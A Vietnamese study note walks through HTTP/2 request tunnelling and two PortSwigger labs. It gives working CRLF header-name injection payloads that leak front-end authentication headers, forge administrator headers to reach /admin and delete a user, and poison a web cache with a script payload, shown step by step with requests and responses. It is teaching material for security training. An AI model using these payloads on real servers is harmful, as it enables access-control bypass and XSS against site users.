HTTP request tunnelling

Request tunnelling cho phép gửi request qua request khác để bypass.

Mặc dù một số server sẽ reuse kết nối cho bất kỳ request nào, những server khác có policy nghiêm ngặt hơn.

Ví dụ, một số server chỉ cho phép request xuất phát từ cùng IP hoặc cùng client reuse kết nối. Những server khác không reuse kết nối nào, hạn chế những gì bạn có thể đạt được qua request smuggling cổ điển vì bạn không có cách rõ ràng để ảnh hưởng đến traffic của user khác.

Bạn vẫn có thể gửi request đơn lẻ sẽ elicit hai response từ back-end. Điều này cho phép bạn ẩn request và response matching từ front-end hoàn toàn.

Bạn có thể sử dụng kỹ thuật này để bypass front-end security measures có thể ngăn bạn gửi một số request.

Request Tunnelling with HTTP/2

Trong HTTP/2, mỗi “stream” nên chỉ chứa request và response duy nhất. Nếu bạn nhận response HTTP/2 với những gì dường như là response HTTP/1 trong body, bạn có thể tự tin rằng bạn đã tunnel thành công request thứ hai.

Leaking Internal Headers via HTTP/2 Request Tunnelling

Bạn có thể trick front-end append header internal bên trong những gì sẽ trở thành body parameter trên back-end. Giả sử chúng ta gửi request trông giống như này:

HeaderValue
:methodPOST
:path/comment
:authorityvulnerable-website.com
content-typeapplication/x-www-form-urlencoded
foobar\r\nContent-Length: 200\r\n\r\ncomment=

Front-end thấy mọi thứ chúng ta inject như phần của header, nên thêm bất kỳ header mới nào sau chuỗi trailing comment=

Mặt khác, back-end thấy chuỗi \r\n\r\n và nghĩ đây là kết thúc của header. Chuỗi comment= cùng với header internal được coi như phần của body. Kết quả là parameter comment với header internal như giá trị của nó.

POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
 
comment=X-Internal-Header: secretContent-Length: 3

Non-blind Request Tunnelling Using HEAD

Một số front-end server chỉ đọc số byte được chỉ định trong header Content-Length của response, nên chỉ response đầu tiên được forward đến client. Điều này dẫn đến lỗ hổng request tunnelling blind vì bạn sẽ không thấy response cho request tunnelled.

Request tunneling blind có thể challenging để khai thác, nhưng sử dụng request HEAD có thể làm lỗ hổng này visible.

Response cho request HEAD thường bao gồm header Content-Length, có thể gây một số front-end server over-read response từ back-end nếu chúng thất bại trong account cho điều này và đọc số byte được chỉ định bất kể.

Ví dụ:

Request:

HeaderValue
:methodHEAD
:path/example
:authorityvulnerable-website.com
foobar\r\n\r\nGET /tunnelled HTTP/1.1\r\nHost: vulnerable-website.com\r\nX: x

Response:

:status	200
content-type	text/html
content-length	131
 
HTTP/1.1 200 OK             <-- tunneled response
Content-Type: text/html
Content-Length: 4286
 
<!DOCTYPE html>
<h1>Tunnelled</h1>
<p>This is a tunnelled respo

Attention

Nếu resource được trả về bởi request HEAD ngắn hơn response tunnelled, nó có thể bị truncate. Ngược lại, nếu Content-Length vượt quá kích thước response, bạn có thể gặp timeout vì front-end server chờ thêm data từ back-end.

Lab: Bypassing Access Controls via HTTP/2 Request Tunnelling

Abstract

Front-end server downgrading request HTTP/2 và thất bại trong việc sanitize incoming header name đúng cách. Để giải lab, truy cập admin panel tại /admin như user administrator và xóa user carlos.

Front-end server không reuse kết nối đến back-end, nên không dễ bị tấn công request smuggling cổ điển. Tuy nhiên, nó vẫn dễ bị request tunnelling.

Hint

Front-end server append series của client authentication header vào request incoming. Bạn cần tìm cách leak chúng.

Testing for CRLF Injection

Thử khai thác lỗ hổng H2.CL1 và H2.TE2:

GET / HTTP/2
Content-Length: 1
 
 
GET / HTTP/2
Transfer-Encoding: chunked
 
1
A
X

Status code cho cả hai request là 200 nghĩa là chúng ta không thể khai thác lỗ hổng H2.CL và H2.TE.

Thêm header tên Host:test.com qua tab “Inspector” của Burp Suite. Request nên trông như này:

HeaderValue
:methodGET
:path/
:authority0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net
Host:test.com

Chúng ta không thêm giá trị header vì mô tả lab nói rằng chỉ header name không được sanitize.

Gửi request trên và nhận response này:

HTTP/2 504 Gateway Timeout
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 148
 
<html>
 
<head>
  <title>Server Error: Gateway Timeout</title>
</head>
 
<body>
  <h1>Server Error: Gateway Timeout (3) connecting to test.com</h1>
</body>
 
</html>

Request này chỉ ra rằng host name inject của chúng ta sẽ được front-end server coi như header hợp lệ và sẽ được forward đến back-end server. Sau đó, back-end server sẽ thực hiện request đến host name inject thay vì hostname gốc.

Thử inject CRLF bằng cách gửi request này:

HeaderValue
:methodGET
:path/
:authority0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net
Foo:bar\r\nHost:test.com

Response của request này giống với cái trước, nghĩa là chúng ta có thể sử dụng CSRF injection.

Leaking Authentication Headers

Tiếp theo, chúng ta cần leak authentication header được thêm bởi front-end server3. Chúng ta tìm thấy có endpoint có param controllable và reflect:

GET /?search=hello HTTP/2
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3297
 
...
<h1>0 search results for 'hello'</h1>

Request này cũng có thể chuyển thành request POST:

POST / HTTP/2
 
search=hello

Chúng ta sẽ sử dụng header name như này:

HeaderValue
:methodPOST
:path/
:authority0ada00ae03d8ea3a82cd5bd500d20090.web-security-academy.net
Content-Length:30\r\n\r\nsearch=

Trong tấn công request smuggling cổ điển, chúng ta có lẽ đặt param search trong body request với header Content-Length dài hơn một chút so với content thực tế. Tuy nhiên, Content-Length bị bỏ qua nên chúng ta cần inject nó vào header.

Cách server xử lý request trên:

  • Trong downgrading, front-end server sẽ thêm authentication header sau header inject của chúng ta, được coi như header hợp lệ.
  • Chuỗi Content-Length:30 sẽ được backend server xử lý như header bình thường.
  • Sau header này là chuỗi \r\n\r\n. Back-end server thấy đây là kết thúc của header và sẽ đọc content trong body request, bao gồm param search của chúng ta và bất kỳ authentication header tiếp theo nào.

Kết quả là, request downgraded gửi đến back-end server có thể là:

POST / HTTP/1.1
...
Content-Length: 30
 
search=Some-Authentication-Header:abc
...

Param search sẽ được reflect vào response:

<h1>0 search results for ':\n  X-SSL-VERIFIED: 0\n'</h1>

Thay đổi giá trị của Content-Length thành 200 và nhận response timeout:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
 
<html>
 
<head>
  <title>Server Error: Proxy error</title>
</head>
 
<body>
  <h1>Server Error: Communication timed out</h1>
</body>
 
</html>

Điều này vì authentication header không đủ dài. Chúng ta có thể pad data hoặc giảm giá trị của Content-Length đến khi thấy mọi authentication header.

Pad data reflect bằng cách thêm một số ký tự ‘A’ sau chuỗi search=:

Content-Length:200
 
search=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Điều chỉnh padding đến khi response có tất cả authentication header chúng ta cần:

<h1>0 search results for\n  'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:\n  X-SSL-VERIFIED: 0\n  X-SSL-CLIENT-CN: null\n  X-FRONTEND-KEY: 8798491640355206\n  Content-Length: 0\n'</h1>

Chúng ta cũng có thể sử dụng tính năng comment để leak authentication header bằng cách smuggle request như qua header name:

foo: bar
 
POST /post/comment HTTP/1.1
Cookie: session=58Qyr4hoXJZLWChBfmHK1mTP2qXcSkZL
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
 
csrf=qSwSbOsl8CksXPXaK27XKIYedPHrUjOZ&postId=3&name=a&email=a%40a.com&comment=

Comment sẽ được post trên trang post:

<p>: \nX-SSL-VERIFIED: 0\nX-SSL-CLIENT-CN: null\nX-FRONTEND-KEY: 8798491640355206\nContent-Length: 0</p>

Tunneling the Attack Request

Với kết quả trên, chúng ta xây dựng header name chứa request tunnelled của chúng ta đến /admin cũng như authentication header như này:

foo: bar
 
GET /admin HTTP/1.1
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 8798491640355206
 
 

Chú ý rằng chúng ta đã thay đổi X-SSL-VERIFIED thành 1X-SSL-CLIENT-CN thành administrator vì endpoint /admin chỉ accessible cho administrator.

Như chúng ta biết, một số front-end server “chỉ đọc số byte được chỉ định trong header Content-Length của response đến request gốc” nên response của request tunnelled của chúng ta có thể bị bỏ qua. Để đối phó, chúng ta thay đổi method request thành HEAD.

Khi làm vậy, response trở thành:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 151
 
<html>
<head>
  <title>Server Error: Proxy error</title>
</head>
<body>
  <h1>Server Error: Received only 3608 of expected 8848 bytes of data</h1>
</body>
</html>

Điều này chỉ ra rằng có response cho request tunnelled của chúng ta nhưng nó quá ngắn so với header Content-Length trong response của request HEAD. Trong trường hợp này, chúng ta có thể request đến resource khác ngắn hơn 3521 byte bằng cách thay đổi giá trị của header :path của request HEAD.

Chúng ta có thể sử dụng endpoint /?search=hello cho mục đích này.

Bây giờ chúng ta có response tunnelled của mình:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=giYu29TnmIuwtO4fpEarQCI8LSWU19Gd; Secure; HttpOnly; SameSite=None
Content-Length: 3297
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
 
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=mf0YDlbmPvgeLd2JCQUk0OZE1olZqP9F; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=0
Content-Length: 3189
 
...
<a href="/admin/delete?username=carlos">Delete</a>

Thay đổi header name thành này để xóa user carlos:

foo: bar
 
POST /admin/delete?username=carlos HTTP/1.1
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 8798491640355206
 
 

Web Cache Poisoning via HTTP/2 Request Tunnelling

Với request tunnelling non-blind, bạn có thể kết hợp header từ response này với body của response khác. Nếu response trong body reflect input user không encode, bạn có thể leverage hành vi này cho Reflected XSS trong context nơi browser thường không thực thi code.

Ví dụ, response sau chứa input attacker-controllable không encode:

HTTP/1.1 200 OK
Content-Type: application/json
 
{ "name" : "test<script>alert(1)</script>" }
...

Content-Type nghĩa là payload này sẽ đơn giản được diễn giải như JSON bởi browser. Nhưng xem xét điều gì xảy ra nếu bạn tunnel request đến back-end thay vì. Response này sẽ xuất hiện bên trong body của response khác, hiệu quả inherit header của nó, bao gồm Content-Type.

:status	200
content-type	text/html
content-length	174
HTTP/1.1 200 OK
Content-Type: application/json
 
{ "name" : "test<script>alert(1)</script>" }
...

Lab: Web Cache Poisoning via HTTP/2 Request Tunnelling

Abstract

Front-end server downgrading request HTTP/2 và không sanitize incoming header nhất quán.

Để giải lab, poison cache theo cách mà khi nạn nhân truy cập home page, browser của họ thực thi alert(1). User nạn nhân sẽ truy cập home page mỗi 15 giây.

Front-end server không reuse kết nối đến back-end, nên không dễ bị tấn công request smuggling cổ điển. Tuy nhiên, nó vẫn dễ bị request tunnelling.

Info

Theo giải pháp để giải lab này.

Injecting into :path Pseudo Header

Kiểm tra request bình thường:

GET / HTTP/2
...

Inject sau vào pseudo header :path:

/404 HTTP/1.1
Foo: bar

Đại diện của nó tại back-end server:

GET /404 HTTP/1.1
Foo: barHTTP/2
...

Response cho thấy chúng ta có thể inject qua pseudo header :path:

HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=zXm9EO1djlP6XK0VYreSl8Nfkfx4pJy2; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11
 
"Not Found"

Thay đổi method của wrapper request thành HEAD và tunnel request trong pseudo header :path:

/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
 
GET / HTTP/1.1
Foo: bar

Important

Chúng ta vẫn cần thêm header Host để đảm bảo wrapper request hợp lệ.

Bây giờ chúng ta có thể thấy hai response:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=lceJdPskkeDQ6vyQhPXNNjzlLX82mqRP; Secure; HttpOnly; SameSite=None
Content-Length: 8637
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
 
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=VrF3AxT5EO93YFZcpXr9e4GwOTusUrZC; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Keep-Alive: timeout=0
Content-Length: 8637

Reflecting Input without Sanitization

Sau đó, chúng ta cần tìm endpoint có thể reflect input mà không sanitize. Và đó là /resources:

GET /resources HTTP/2
HTTP/2 302 Found
Location: /resources/
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 0

Thử thêm param:

GET /resources?<script>alert(1)</script> HTTP/2
HTTP/2 302 Found
Location: /resources/?<script>alert(1)</script>
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 0

Như chúng ta thấy, param inject được reflect vào response. Ý định của chúng ta là đặt response này vào response khác có content type text/html.

Poisoning the Cache

Cập nhật pseudo header :path để tunnel request hoàn chỉnh:

/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
 
GET /resources?<script>alert(1)</script> HTTP/1.1
Foo: bar

Tuy nhiên, khi gửi request trên, tôi nhận response này:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 125
 
<html>
<head>
  <title>Server Error: Proxy error</title>
</head>
<body>
  <h1>Server Error: Communication timed out</h1>
</body>
</html>

Điều này do header Content-Length dài hơn trong response chính so với response nested của request tunnelled.

Thêm một số padding vào query param của endpoint /resources để giải quyết vấn đề này:

/ HTTP/1.1
Host: 0ae3008d0464a5cb8226d51700bc00f3.web-security-academy.net
 
GET /resources?<script>alert(1)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... HTTP/1.1
Foo: bar

Response cho thấy chúng ta đã poison cache thành công:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=XKlfJKKervn0hS50OTOkc4H9wYnc6vdw; Secure; HttpOnly; SameSite=None
Content-Length: 8637
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
 
HTTP/1.1 302 Found
Location: /resources/?<script>alert(1)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
list
from outgoing([[Port Swigger - HTTP Request Tunnelling]])
sort file.ctime asc

Resources

Footnotes

  1. see Lab H2.CL Request Smuggling

  2. see Lab Response Queue Poisoning via H2.TE Request Smuggling

  3. chúng ta sẽ sử dụng kỹ thuật trong Revealing Front-end Request Rewriting2 Request Splitting via CRLF Injection